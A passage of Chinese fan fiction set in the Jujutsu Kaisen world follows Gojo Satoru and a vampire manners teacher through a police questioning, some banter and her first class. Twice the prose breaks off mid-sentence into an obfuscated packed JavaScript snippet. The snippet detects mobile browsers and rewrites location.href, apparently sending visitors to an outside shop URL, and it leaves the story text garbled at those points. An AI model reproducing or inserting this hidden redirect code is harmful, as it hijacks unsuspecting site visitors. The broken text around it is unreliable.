两人隔着半个教室对视。空气中,无形的压力开始碰撞、挤压、摩擦,发出只有他们能感知到的、刺耳的尖啸。 良久,五条悟站起身。 “今天确实是我的错。”他说,语气恢复了平日的轻快,“作为补偿,明天我会让学生们准时出现在教室里。一节礼仪课,我保证。” 他走到门口,又回头。 “不过绯月老师,”他歪了歪头,“你确定要教他们那些……‘优雅的问候’?” 绯月畏重新坐回椅子,戴上墨镜。 “为什么不呢?”她说,翻开书页,“既然要教礼仪,就从最实用的教起。毕竟在这个世界……” 她抬起头,墨镜后的目光穿透空气,落在五条悟身上。 “学会如何在不撕破脸的情况下,让对手知难而退,也是一种生存技能。不是吗,五条老师?” 五条悟笑了。 “说得对。”他拉开门,“那么,明天见,绯月老师。” 门关上。 教室里重归寂静。绯月畏看向窗外,月光洒满庭院,樱花树在夜风中轻轻摇曳。 她拿起五条悟留下的纸袋,打开。喜久福的甜腻香气弥漫开来。 她拿起一个,咬了一口。奶油在口中化开,甜得发腻。 不好吃。 但,还算有趣。 这个“最强”,比她想象的……更懂得进退。 也更,危险。 她把剩下的喜久福扔回纸袋,重新翻开书。灯光下,她的影子在墙上拉得很长,像一柄出鞘的、等待时机的刀。 第一节课,没有学生。 但博弈,已经开始了。 第一卷·非人小姐·终 10. 紧急联系人 距离踏入这个世界已一年又三个月。 在咒术高专那间被改造得面目全非的“礼仪教室”里蛰伏了整整四十二天后,在新生入学当天的晨光中,绯月畏终于推开了那扇厚重的木门。 她撑着一把洒金墨竹纹的油纸伞,伞骨是上好的老檀木,伞面在晨光下泛着幽暗的光泽。白衣、白发、白鞋,整个人像一尊从古画里走出来的、未被岁月染色的白玉雕像。当她穿过高专那条落满樱花的小径时,正要去食堂的夜蛾正道在走廊尽头停住脚步,怔怔地望着那道渐行渐远的背影,竟生出一种恍如隔世的错觉。 ——真能宅啊。 这位“礼仪老师”自开课那天起,就再未踏出过教室一步。五条家的仆从每天搬进去的典籍堆成了山,夜蛾偶尔路过,从门缝里窥见的永远是同一幅画面:白发女子坐在窗前,指尖抚过泛黄的书页,阳光透过窗棂切割她的侧影,安静得像一座被封存在时光里的冰雪雕塑。 危险吗? 夜蛾不确定。 他只确定一件事:这个人的“存在”本身,就是一种对常识的无声嘲弄。 走到山脚下时,绯月畏才想起什么似的,从风衣口袋里摸出那部黑色iPhone。 屏幕漆黑。 长按电源键,屏幕艰难地亮起,跳出电量不足10%的警告,随即又暗下去。她盯着手机看了两秒,像在观察一件陌生的古物,然后重新将它塞回口袋。 无所谓。 她只是想去书里提到的几个地方看看。东京塔,上野公园,银座——那些被文字描绘得璀璨夺目的地标。带不带手机,有什么区别? 于是,对现代社会的运转逻辑近乎一无所知的始祖大人,就这样揣着一支濒临断电的手机、一方素白手帕,撑着她那把与周遭格格不入的油纸伞,踏入了东京清晨的人潮。 风衣是五条家新送来的,雪白的羊绒料子,剪裁利落得近乎苛刻。她穿着它走在涩谷的街头,像一道误入彩色画卷的留白。 奇观出现了。 行人不由自主地放缓脚步,目光像被磁石吸引般黏在她身上。白衣,白发,白到近乎透明的肌肤,只有脸上那副遮住半张脸的墨镜,以及伞柄上一点冷银的反光,为这身冰雪般的装束添上一丝异色的点缀。 窃窃私语如潮水般漫开。 “白化病?” “模特吧……气质好特别。” “那把伞……是古董吗?” 绯月畏对这一切视若无睹。她的目光平静地掠过橱窗里闪烁的霓虹,掠过行人手中嗡嗡作响的手机,掠过街头巨大的电子广告牌——那上面正在播放某偶像团体活力四射的舞蹈,声音吵得她微微蹙眉。 世界很吵。 也很……廉价。 她这么想着,脚步未停,朝着记忆中东京塔的方向走去。 第一个意外发生在代代木公园。 穿过一片樱花林时,一个穿着皱巴巴西装的男人拦住了她的去路。他手里攥着名片,脸上堆着过度热情的笑,语速快得像在念经。 “小姐!请等一下!我是星辰事务所的星探,您的外形条件实在太出众了!有没有兴趣做模特?我们可以提供最高规格的合约,杂志封面、品牌代言、甚至进军演艺界——” 绯月畏停下脚步。 她微微偏头,墨镜后的目光落在男人脸上。那目光很平静,没有审视,没有好奇,甚至没有被打扰的不悦——只是一种纯粹的、近乎残忍的“观察”,像生物学家透过显微镜观察一片无关紧要的切片。 ‘他在说什么?’ 男人的声音卡住了。 冷汗毫无征兆地从他额角渗出。他想继续说话,想挤出更灿烂的笑容,但喉咙像被无形的手扼住,脊椎窜上一股刺骨的寒意。那感觉来得莫名其妙,却真实得让他双腿发软。 他踉跄着退后一步,让开了路。 绯月畏收回视线,撑伞继续前行。仿佛刚才的一切只是一粒尘埃飘过,连拂拭的必要都没有。 她走到公园出口时,身后传来了尖叫。 尖锐的、属于人类的恐惧嘶喊,撕破了午后的宁静。紧接着是杂乱的脚步声,更多的惊呼,有人在高喊“报警”。 风从公园深处吹来,裹挟着一缕新鲜的血腥气。 很淡。 但足够她分辨出——出血量很大,生命体征已消失。 死了个人。 绯月畏在公园门口停顿了半秒。不是出于好奇,而是某种更基本的、属于高位存在对低位混乱的本能评估:此事是否会影响她的行程? 判断结论:否。 她抬脚,踏出公园。白色鞋底踩在柏油路面上,没留下一丝痕迹。 第二个意外发生在百米外的十字路口。 警笛声由远及近,红蓝光芒旋转着切割街道的景色。一辆警车急刹在她面前,车门打开,两名穿着制服的警察快步走来,表情严肃。 “这位小姐,请稍等。”年长的刑警拦在她面前,目光锐利地扫过她一身醒目的白衣,“刚才代代木公园发生了一起命案,有目击者称看到您从现场方向离开。需要请您配合调查。” 绯月畏微微抬眼。 墨镜遮挡了她的眼神,但那一瞬间,年轻些的警察莫名感到脊背发凉。他下意识握紧了腰间的警棍。 “可以。”绯月畏开口,声音平静得像冻结的湖面,“去哪里?” 警视厅搜查一课的询问室里,气氛诡异。 绯月畏坐在靠墙的长椅上,背脊挺直,双手交叠置于膝上。那把油纸伞倚在腿边,伞尖在光洁的地面上投下一小片阴影。两名刑警坐在她对面的桌子后,面前摊着笔录本。 “姓名。” “绯月畏。” “年龄。” “……二十六。”她随口报了个数字。至于当时五条悟给她登记的资料上是不是这个年岁……绯月畏根本没看过。 “职业。” “教师。东京都立咒术高等专门学校,礼仪课讲师。” 做记录的年轻刑警笔尖一顿,抬头看了她一眼——咒术高专?那个传说中都是“特殊人才”的学校? 老刑警经验丰富,面不改色地继续:“下午两点左右,您为什么在代代木公园?” “路过。” “有见到可疑人员吗?” “没有。” “您认识死者吗?山田浩二,四十五岁,自由职业者。” “不认识。” 问题一个接一个。绯月畏的回答简短、准确、毫无情绪波动。她的态度既不紧张也不抗拒,配合得近乎机械,却让两名刑警感到一种莫名的压力——那是一种超越身份、超越场合的、纯粹的气场压制。 就好像……被问讯的不是她,而是他们。 询问进行到一半时,老刑警的手机响了。他走到门外接听,几分钟后回来,表情复杂地看了绯月畏一眼。 “监控调出来了。”他说,“公园东侧的摄像头拍到了全程。死者是突发心梗倒地,您当时距离他至少二十米,没有任何接触。目击者的证词有误。” 他顿了顿,语气缓和了些:“抱歉耽误您的时间。但按照流程,您还需要一位担保人签字才能离开。请问有可以联系的人吗?” 绯月畏沉默了两秒。 然后她从口袋里摸出那部电量耗尽、自动关机的手机,递了过去。 “只有他。”她说。 五条悟接到电话时,正在高专操场上对新入学的一年级生进行“爱的教育”。 “所以说啊——咒术师的战斗不是靠蛮力,是要用脑子!真希同学你那根棍子挥得跟打地鼠一样,敌人会站着让你敲吗?熊猫你那一身毛能不能收一收,咒灵看了都想薅一把——诶?棘你闭嘴,我知道你想说‘鲑鱼’,但你现在说啥我都当你是在吐槽我……” 手机震动。 陌生号码,区号显示警视厅。 五条悟挑眉,接起。 “摩西摩西~这里是宇宙无敌最强最帅的五条老师,请问是哪位找——” “五条悟先生吗?这里是警视厅搜查一课。有一位绯月畏女士目前在我处,需要担保人签字。她提供了您的联系方式。” 五条悟脸上的笑容凝固了一瞬。 下一秒,他“噗”地笑出声,肩膀抖动得像个漏气的玩偶。 “警、警视厅?”他一边笑一边抹并不存在的眼泪,“她把自己弄进局子了?等等等等,我确认一下——是杀人还是放火?该不会是抢劫便利店吧?哈哈哈哈——” 电话那头陷入死寂。 五条悟笑够了,清了清嗓子:“地址发我,马上到。” 挂断电话,他转头看向三个目瞪口呆的新生。 “抱歉啦小朋友们~老师有急事,今天的实践课提前结束!”他笑嘻嘻地挥手,“自己回教室看教材哦,记得写八千字观后感明天交——” “凭什么啊?!”禅院真希的怒吼被抛在身后。 五条悟的身影已经消失在原地。 警视厅大厅。 绯月畏坐在靠窗的长椅上,身姿依旧端正。她的手机被拿去充电,此刻无事可做,目光便落在了墙角的报刊架上。 她站起身,走过去,抽出一份《朝日新闻》。 翻开。 头版是政治新闻,第二版经济,第三版社会事件,第四版文化……绯月畏看完后深觉五条家给她送来的书籍拥有太大的局限性,对于她了解这个世界并没有太多的作用,默默把购买书籍和订阅报纸加在了脑海里的备忘录上,或者干脆让五条悟给她订阅。 看五条悟之前房间里那么多花花绿绿的书籍,他看的种类应该很杂,可以适当看一看。 她的阅读速度极快,目光扫过版面,像扫描仪录入数据。一份报纸,三十秒翻完。放下,拿起下一份《读卖新闻》。 大厅里的警察们渐渐停下了手中的工作。 他们看着她一份接一份地翻阅报纸,动作流畅得像机械臂,没有任何停顿、回溯或思考的迹象。那不像是阅读,那像是……扫描信息。 更诡异的是她的姿态——坐在报刊架旁边,背脊笔直,指尖拈着纸页的动作优雅得像在执棋,明明身处嘈杂的警局大厅,却仿佛置身无人之境,周身笼罩着一层透明的壁垒,将一切喧嚣隔绝在外。 有人偷偷举起手机想拍照,却在镜头对焦的瞬间感到一阵心悸,默默放下了。 当五条悟踏入大厅时,看到的就是这幅景象:绯月畏坐在报刊架旁边的长椅上,身旁堆着二十几份翻阅完毕的报纸,手中正翻开最后一份《产经新闻》的副刊。阳光从她身后的窗户洒进来,给她白色的轮廓镀上一层淡金,整个人像一尊正在执行某项神圣仪式的宗教雕塑。 而整个大厅的警察,都像被按了暂停键,屏息看着这一幕。 五条悟嘴角咧开。 他大步走过去,弯腰凑到绯月畏耳边,用整个大厅都能听清的“悄悄话”音量说: “听说你杀人了?要我带你逃狱吗?劫囚车那种,很刺激哦——” “咔哒。” 某个警察手里的笔掉了。 绯月畏合上最后一份报纸,抬起头。墨镜后的目光平静地扫过五条悟写满“快答应快答应我要玩”的脸。 “你看起来很期待我真的杀了人。”她说。 “怎么会~”五条悟捂着胸口做伤心状,“我可是遵纪守法的好市民,最见不得打打杀杀了~” “那你口袋里那张‘警视厅建筑结构图’,”绯月畏站起来,视线落在他鼓囊囊的裤袋,“是准备用来做什么?观光导览?” 五条悟的笑容僵了半秒。 然后他哈哈大笑,一把揽住绯月畏的肩膀——这个动作在完成前就被她侧身避开,他的手悬在半空,若无其事地收回。 “被拆穿啦……”他毫无愧意地耸肩,转向一旁脸色发黑的老刑警,“签字是吧?在哪签?赶紧的,我们绯月老师还要回去备课呢……” 走出警视厅时,日照正烈。 五条悟摸出自己的手机,翻看着相册里刚才偷拍的照片——画面里,绯月畏坐在长椅上读报,侧脸在光影中显得格外静谧。他撇撇嘴,显然对构图不满意。 “你手机呢?”他挤到绯月畏的伞下问。 绯月畏从风衣口袋取出充到30%电量的手机,递过去。五条悟接过来,熟练地解锁——密码是他生日,这还是他偷摸设的,果然没改啊。原本绯月畏的手机根本没有密码的——五条悟点开通讯录。 空的。 除了一个最近添加的“五条悟”,一片空白。 五条悟盯着屏幕看了两秒,忽然笑出声。 “绯月老师——”他一边把自己设成绯月畏的紧急联系人,一边拖长语调,声音里满是促狭,“你通讯录里只有我一个人诶?这么寂寞的吗?都没有朋友可以联系的?” 绯月畏抬手扶了扶墨镜。 “你有。”她平静地说,“你挚友叛逃了。” 五条悟的笑声戛然而止。 他盯着她看了三秒,然后一把将手机塞回她口袋,抢过她手中的油纸伞,转身大步走进夕阳里。 “自己走回去!”他背对着她挥手,语气恶狠狠的,“认识路吧?东京塔在那边——才怪,反了!” 绯月畏站在原地,看着他气呼呼的背影,唇角几不可察地弯了弯。 幼稚。 她转身,走进路旁的树荫下。阳光被枝叶切割成碎片,洒在她苍白的脸上——那里泛起了一层极淡的红,不是血色,而是皮肤对紫外线过敏的轻微反应。 十分钟后,五条悟又回来了。 手里举着一个巨大的、堆了三层冰淇淋球的甜筒,自己已经啃掉了最上面两层,吃得满嘴奶油。他撑着伞,大摇大摆地走到树荫边缘,把剩下那个摇摇欲坠的冰淇淋球递到绯月畏面前。 “喏,赔礼。”他说,眼神却写着“快拒绝快拒绝我要自己吃”。 绯月畏看了一眼那被啃得乱七八糟的甜品,摇了摇头。 五条悟瞬间收回手,满足地咬了一大口。然后他像是忽然想起什么,弯腰凑近,墨镜后的蓝眼睛在阴影里闪着探究的光。 “说起来——”他的声音压得很低,带着戏谑的笑意,“怕阳光,疑似吸血,讨厌大蒜……绯月小姐,你该不会是传说中的吸血鬼吧?” 话音刚落,一只冰凉的手搭上了他的脖颈。 指尖抵在喉结下方,只要稍稍用力,就能刺穿皮肤,触及温热的动脉。但那只手停在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485858|202003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了那里——被无下限术式隔绝在无限接近却永不可及的距离。 绯月畏微微偏头,墨镜滑下鼻梁少许,露出那双猩红眼眸的一角。 “那你把脖子凑这么近,”她轻声说,气息冷得像雪山的风,“是在邀请我进餐吗?” 唇角有獠牙探出尖尖,墨镜下的眼眸亮起了绯红的光。 五条悟笑了。 他没有退开,反而更凑近了些,两人之间的距离近得能感受到彼此的呼吸。 “如果你是吸血鬼,”他声音轻快,眼神却锐利如刀,“那你的棺材呢?你的城堡呢?你的后裔呢?传说中的吸血鬼可不会坐在警局里看报纸,也不会——”他的视线扫过她风衣口袋露出的零食包装袋一角,“——吃蒜香饼干。” 绯月畏收回手,重新戴好墨镜。 “传说还说吸血鬼怕银器。”她抬起手,指尖轻轻拂过伞柄上银制的雕花,“你觉得我怕吗?” 五条悟直起身,咧嘴一笑。 “谁知道呢……”他转身,把伞塞回她手里,顺手从她怀里抽走两包看起来最好吃的零食,“伞还你。零食没收——作为你咒我挚友的赔偿!” 他大步走进夕阳里,白发的背影在金色光芒中几乎透明。走出一段,又回头挥了挥手。 “早点回来——记得带伴手礼!我要银座那家限量版草莓大福!” 声音消散在风里。 绯月畏撑着伞,站在原地,直到他的身影完全消失在街角。然后她低头,看着怀里剩下的几包零食——都是刚才在树荫下休息时,几个路过的女学生红着脸塞给她的。 这些所谓的描写吸血鬼的传说,其实都是人类自己写的。 这个最强越来越有意思了。 这不是她以往所认识的任何一种“强者”的姿态。 用海对面那个国家的古语来形容,五条悟便是已经有了那种“已识乾坤大,犹怜草木青”的境界。 她有些好奇,在这样一个腐朽发烂的咒术界里,五条悟能走到一个什么样的结局? 她转身,走向不远处一个牵着母亲手的小女孩。孩子大概四五岁,正仰头盯着她看,眼睛睁得圆圆的。 小女孩呆呆地看着绯月畏走进,小声说:“好漂亮的姐姐,像雪做的仙女……” “送给你。”绯月畏把零食全部递过去。 “诶?”孩子母亲吓了一跳。 “谢谢夸奖,你也很漂亮。”她俯身对小女孩儿说。 然后转身,撑伞没入渐浓的暮色。 当晚,礼仪教室。 灯火通明。绯月畏坐在新添置的书桌前,面前摊开着下午从书店采购的十几本新书——从《日本战后经济史》到《互联网社会结构浅析》,种类杂乱得令人费解。 她读得很快,指尖划过纸页,偶尔用钢笔在笔记本上记下一两行字。字迹是那种古老的、优雅的花体,与周遭现代化的陈设格格不入。 门外传来脚步声。 杂乱,轻重不一,属于三个人——不,两个人类,和一个……夜蛾的咒骸? 门被“嘭”地推开。 五条悟率先走进来,脸上缠着绷带,只露出带笑的嘴角。他身后,三颗脑袋从门边依次探出来——扎着高马尾的少女,蒙住下半张脸的少年,还有一只毛茸茸的、正瞪大眼睛的熊猫。 “晚上好呀绯月老师……”五条悟笑嘻嘻地拉开一把椅子坐下,长腿交叠搭在桌角,“我带学生们来补课了!今天下午的礼仪课他们集体旷课,作为负责任的班主任,我特意押他们来向你赔罪!” 禅院真希握紧了手中的咒具,指节发白。 狗卷棘拉高了衣领,眼神死寂。 熊猫用爪子捂住了脸。 绯月畏从书页间抬起头,目光平静地扫过门口三人,最后落在五条悟脸上。 “现在,”她抬手指向墙上的挂钟,“是晚上九点三十七分。” “对呀对呀~”五条悟拍手,“夜课!多有氛围!正好教教他们晚上遇到咒灵该怎么优雅地逃跑—啊不是,是战术性转进!” “我的课,”绯月畏合上书,双手交叠置于桌面,“时间是晚上七点到八点半。现在距离下课已经过去了一小时零七分钟。” 她坐直身子,窗外夜风涌入,吹动她白色的长发。 “既然我的课这么不受重视,”她转身,墨镜后的目光落在走进教室的三个新生身上,声音平静无波,“那以后就不必来了。旷课两次,或迟到三次,本课程直接判为不合格。” 五条悟“诶”了一声:“那补考——” “补考内容是,”绯月畏打断他,唇角勾起一丝极淡的、近乎残酷的笑意,“与五条老师共舞一支完整的华尔兹。录像存档,永久陈列于高专校史馆。” 死寂。 禅院真希的脸绿了。 狗卷棘倒退了一步。 熊猫的毛炸成了球。 五条悟摸着下巴,若有所思:“好像……还挺有意思?” “出去。”绯月畏指向门口。 熊猫第一个退出去,顺手把两个同伴也拽出门外。五条悟慢吞吞起身,走到门口时回头,绷带下的嘴角咧得老大。 “那明天的课——” “照常。”绯月畏坐回书桌前,重新翻开书,“但如果再有人迟到……” 她抬眼,猩红的眸光从墨镜边缘泄出一线。 “那这节课以后你就来和他们一起上吧。” 门关上了。 走廊里传来五条悟夸张的叹气:“完蛋啦小朋友们——你们惹怒绯月老师了!明天记得提前半小时来占座哦!不然会被挂在教室门口当风铃的……” “五条老师!!!”禅院真希的怒吼响彻走廊。 脚步声渐远。 教室里,绯月畏重新低头,指尖抚过书页上关于“现代社会人际网络”的章节。窗外月光清冷,樱花在夜风中簌簌落下。 她忽然想起下午那个小女孩的话。 “像雪做的仙女……” 她轻轻摇头,唇角勾起一丝自嘲的弧度。 雪会融化。 仙女需要信仰。 而她,只是不小心闯进这个时代的、一个格格不入的异客。 仅此而已。 她合上书,吹熄了灯。 月光洒满空荡的教室,也洒在她苍白的侧脸上。那双猩红的眼眸在黑暗中缓缓睁开,望着窗外繁华的、遥远的、与她无关的都市灯火。 门外走廊上,三个学生对着紧闭的大门鞠了一躬后惨淡地走了,月光都没他们的脸色苍白。 于是第二天一早,刚睡醒的五条老师就迎来了自家校长爱的铁拳,一时之间,校园里开始了鸡飞狗跳的早晨,直接吵醒了难得回宿舍睡觉的绯月畏。 绯月畏打了个哈欠,沉着脸拉开房门,看向三道鬼鬼祟祟摸进客厅的身影。 “你们在干什么?” 视线扫过他们手上的老鼠夹子,顿时有些一言难尽。 “诶……”熊猫毛都炸起来了,三个人顿时立马鞠躬道歉,“对不起,我们走错了!” 出门后,三个人对着门口“五条悟”的门牌面面相觑,陷入了诡异的沉思中。 两位老师,原来是这种关系吗? 11. 第一节课 早上被几个摸进来企图恶作剧的学生吵醒后,绯月畏一整天都处在一种困倦又失眠的状态中,直到太阳落山时,绯月畏才慢吞吞从床上爬起来。 名为卧室的房间几乎没有生活气息。衣柜里寥寥几件衣物,大半空间被五条悟塞过来的各种奇怪服饰占据。床头柜上,与手机配套的充电器和耳机线,是她与这个科技世界为数不多的联系。 洗完澡,她裹着浴袍走到客厅吹头发。五条悟推门进来时,看见的就是这么一幕:危险的特级咒术师歪在地毯上,一手支在茶几上撑着头,眼皮半阖,吹风机搁在茶几上嗡嗡作响,把她半湿的白发吹得四处飘飞。 五条悟放轻脚步凑过去,从茶几上的蛋糕边沿沾了点奶油,指尖悄悄朝她发梢探去—— 猩红的眼眸在墨镜后倏然睁开。 五条悟动作一顿,随即若无其事地将指尖送进自己嘴里,顺势坐下来,把那块水果奶油蛋糕拉到面前。 “醒啦?”他挖了一大勺,“你这蛋糕哪儿买的?奶油淡得像在吃空气。” 绯月畏关掉吹风机。嗡嗡声戛然而止,房间里突然安静得能听见窗外风声。 “好吃吗?”她凉凉地问。 五条悟又挖了一勺,咂咂嘴:“不好吃。水果不甜,奶油没味,蛋糕胚干得像放了三天。” “那你还吃?” “饿了嘛……”五条悟笑得毫无愧意,顺手打开自己拎回来的纸袋,“喏,赔你?银座那家限量版,排了两小时队呢。” 绯月畏瞥了一眼纸袋里精致得过分的小蛋糕,没接。她伸手把自己那盘被挖得乱七八糟的蛋糕拖回来,用叉子戳起一块沾满奶油的水果。 “吃了我的早饭,”她慢条斯理地说,“那就用你的赔我。” “哈?凭什么!”五条悟瞪大眼睛,“我这个可是限量——” 话音未落,绯月畏已经一叉子戳进他刚打开的蓝莓蛋糕正中。完美的造型瞬间塌陷,奶油和果酱混成一团。她挖起一大勺送进嘴里,动作优雅得像在品尝宫廷御宴,如果忽略她微微蹙起的眉头的话。 “太甜。”她评价道,顺手从五条悟袋子里抽出一瓶苏打水,拧开灌了一大口。 五条悟眼睁睁看着自己的限量版蛋糕惨遭蹂躏,痛心疾首:“你还有脸说!我昨晚放在厨房的泡芙是不是你偷吃的?还有那杯奶昔——” “证据呢?”绯月畏放下叉子,墨镜后的眼睛弯了弯,“五条老师,诽谤可是要负法律责任的。” “我六眼看见的!” “哦。”绯月畏不为所动,又挖了一勺蛋糕,“那你该去检查眼睛了。年纪轻轻,怎么就老花了呢?” 五条悟气得一把抢回蛋糕盒子,把剩下半个护在怀里:“不给了!两清!你那难吃的早饭换我半块限量版,亏的是我!” 他拎着袋子窜进自己房间,几秒后又探出头来,不知从哪儿摸出盘子和餐刀,以迅雷不及掩耳之势把茶几上剩下的蛋糕切走一半。 门“嘭”地关上。 绯月畏看着桌上残存的四分之一蛋糕,沉默两秒,轻笑出声。 幼稚。 她靠回沙发,扯过毯子盖在腿上。困意再次袭来,像潮水般淹没意识。猩红的眼眸在墨镜后缓缓合上。 五条悟再出来时,客厅已空无一人。 茶几上的蛋糕只动了两口,苏打水喝掉一小半。他盯着那剩了大半的甜点看了会儿,眉头几不可察地皱起。 她最近……睡得是不是太多了? 窗外,夕阳正沉入远山。距离上课还有一个小时。 五条悟揣着手晃到食堂。果然,在靠窗最角落的竹榻上,找到了那个白得几乎与背景融为一体的身影。 绯月畏撑着头假寐,面前餐盘里放着几片苹果、几颗葡萄、两个橘子,整整齐齐,像某种仪式性的摆盘。 五条悟要了份乌冬面,在她对面坐下。他伸手拿过一个橘子,慢条斯理地剥开,橘皮撕裂的清脆声响在安静的空间里格外清晰。 他把剥好的橘子放回盘子,又拿起第二个。 这次,绯月畏睁开了眼。 那一瞬间,五条悟的动作顿住了。 墨镜后的眼眸半睁,猩红的光像被点燃的炭火,在昏暗光线下亮得骇人。那不是人类该有的眼睛——那是捕食者在黑暗中锁定时才有的、纯粹的狩猎本能。 但光芒只持续了半秒。 绯月畏闭了闭眼,再睁开时,已恢复成平日那种沉静的暗红色。她坐直身体,若无其事地拿起一片苹果。 五条悟盯着她看了几秒,忽然凑近,压低声音:“你饿了?” 绯月畏没回答。 “人类的食物提供不了你需要的营养,对吧?”五条悟的视线落在她苍白的指尖上,“你需要血?什么样的人血?动物的行不行?咒灵的呢?” 他问得直接,语气里满是纯粹的研究欲,像在探讨一个有趣的学术问题。 绯月畏推开他越凑越近的脸,捻起一颗葡萄。果肉在齿间破裂,酸甜的汁液渗出来,但她吞咽时,喉咙却传来一种古怪的滞涩感。 食欲在消退。 不,准确说,是身体在拒绝这些“食物”。 五条悟显然注意到了她细微的停顿。他没再追问,只是大口吃完面条,然后抱着手臂,饶有兴致地看着她慢吞吞地解决掉餐盘里最后一片水果。 像个观察实验对象的科学家。 晚上七点二十五分,礼仪教室。 绯月畏推开门,五条悟跟在她身后晃进来,反手关上门,还顺手插上了插销。 “咔哒。” 锁舌扣入的声音在安静教室里格外清晰。 绯月畏回头。 五条悟正扯下脸上的绷带,苍蓝的六眼在灯光下亮得惊人。他一步步走近,直到两人之间只剩半步距离,然后—— 他抬手,指尖点了点自己的脖颈。 “要吗?”他笑着问,语气轻松得像在问“要不要喝茶”,“我的血。六眼持有者的,特级咒术师的,应该够格吧?” 那一瞬间,绯月畏几乎能听见自己血液奔涌的声音。 本能如潮水般苏醒,喉咙深处传来干渴的刺痛,犬齿隐隐发痒。五条悟的血液散发出的“香气”——浓郁、纯粹、充满生命力——几乎要冲破她的理智防线。 但她只是静静地看着他。 几秒后,她转身,坐进讲台后的高背椅,顺手捞过桌上没看完的书。 一只手按在了书页上。 绯月畏抬眼。 “五条老师,”她慢条斯理地说,“你知道在大多数高等生物的文化里,主动向另一个个体献出鲜血,意味着什么吗?” 五条悟挑眉:“嗯?” “求偶。”绯月畏摘下墨镜,露出那双平静无波的猩红眼眸,“或者用更文明的说法——示爱。” 五条悟的手像被烫到般缩了回去。 他盯着她看了两秒,突然转身,把自己塞进教室角落的书架和墙壁之间的缝隙,动作大得撞掉了几本书。 绯月畏重新戴上墨镜,嘴角几不可察地弯了弯。 这时,教室门被推开。 三颗脑袋探进来——扎着高马尾的禅院真希、蒙住下半张脸的狗卷棘,以及一只毛茸茸的熊猫。三人看清教室里的景象后,齐齐愣住。 一个缩在墙角面壁,一个坐在讲台后看书。 气氛诡异得令人窒息。 熊猫最先回过神,举起爪子小声说:“那个……我们没走错吧?这里是礼仪教室……对吧?” 绯月畏头也不抬:“进。” 三人鱼贯而入,搬来桌椅在教室中央坐下。面面相觑几秒后,熊猫又举手:“绯月老师……是不是该上课了?” 声音在寂静中越来越小。 五条悟从墙角发出闷笑:“时间没到呢,小朋友们,急什么?” 真希握紧拳头,深吸一口气,决定无视那个无良教师。她看向讲台后的白发女性——对方依然在看书,翻页的速度快得令人咋舌。 这能看见字吗? 熊猫受不了这尴尬的沉默,起身走向书架:“老师,这些书可以看吗?” “不损坏就行。”绯月畏终于说了第二句话。 整个教室的气氛微妙地松弛下来。 熊猫松了口气,从书架上抽出一本《江户时代风俗考》。狗卷棘也凑过去,挑了本图文并茂的《世界建筑奇观》。真希瞥了一眼,摇摇头,抱着手臂闭目养神。 教室里只剩下书页翻动的声音。 七点二十九分。 绯月畏抬手,窗外一片樱花花瓣飘进来,精准地落在她指尖。她将花瓣夹进书页,合上书。 “上课。” 她的声音很平静,却让三个学生瞬间坐直。 “我是绯月畏,教礼仪课。”简单的开场白后,她从抽屉里取出一本册子,“第一课内容,《优雅表达情绪的艺术》——教案是你们五条老师写的。” 话音落下,角落里传来五条悟得意的轻笑。 三个学生心头同时升起不祥的预感。 绯月畏翻开教案:“在开始前,我想先问个问题——你们为什么成为咒术师?” 真希最先回答:“为了变强。强到能改变一些东西。” 狗卷棘:“鲑鱼子。”(同意) 熊猫挠挠头:“我……算是被制造出来的咒骸?但夜蛾校长让我来上学,那就上呗。” “很标准的答案。”绯月畏点点头,“那换个问题——你们觉得,咒术界是个什么样的地方?” 教室里安静了几秒。 “弱肉强食。”真希说。 “木鱼花。”狗卷棘摇头(不是那么简单)。 “嗯……很复杂的地方?”熊猫谨慎地说。 绯月畏笑了。 那笑容很淡,却让三个学生莫名感到一阵寒意。 “让我用一个旁观者的视角告诉你们。”她靠在椅背上,指尖轻轻点着教案封面,“咒术界,本质上是一个建立在双重标准上的、自欺欺人的生态圈。” 她顿了顿,观察着学生们的反应。 真希皱眉,狗卷棘歪头,熊猫眨巴着眼睛。 “第一重标准:咒术师自认高于普通人,因为能看见、能祓除咒灵。但讽刺的是,咒术师吃的米、穿的衣服、用的手机,甚至治疗伤口的医疗技术,全部来自普通人的世界。”绯月畏的视线扫过三人,“你们所谓的‘保护’,是一场交易。普通人用资源和容忍,换取你们的清道夫服务。没有谁欠谁,没有谁更高贵。” 角落里,五条悟收起了笑容。 “第二重标准:咒术界内部。”绯月畏继续道,“总监部制定规则,高专培养执行者,窗负责情报。听起来很合理,对吧?” 她不等回答,自顾自说下去。 “但问题在于——规则的制定者,从不亲自下场。执行规则的人,往往不知道规则的全貌。而提供情报的人……”她顿了顿,“有时候连自己提供的是什么都不知道。” 真希的眉头皱得更紧:“什么意思?” “意思是,”绯月畏翻开教案第一页,“你们接到的每一个任务,都是经过至少三层过滤的信息。窗观测到的原始数据,总监部的‘加工’,最后到你们手中的‘任务简报’。每一层都可能失真,每一层都可能被有意无意地扭曲。” 她抬起头,墨镜后的目光平静得可怕。 “举个简单的例子。窗报告:某废弃医院出现二级咒灵,疑似由医疗事故的怨念生成。总监部加工后:祓除咒灵,尽量保全建筑结构,寻找可能存在的医疗记录。最后到你们手中:二级任务,地点XX医院,要求保护建筑。” “听起来很正常,对吧?”绯月畏问。 三个学生点头。 “但如果我告诉你们,”她的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485859|202003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 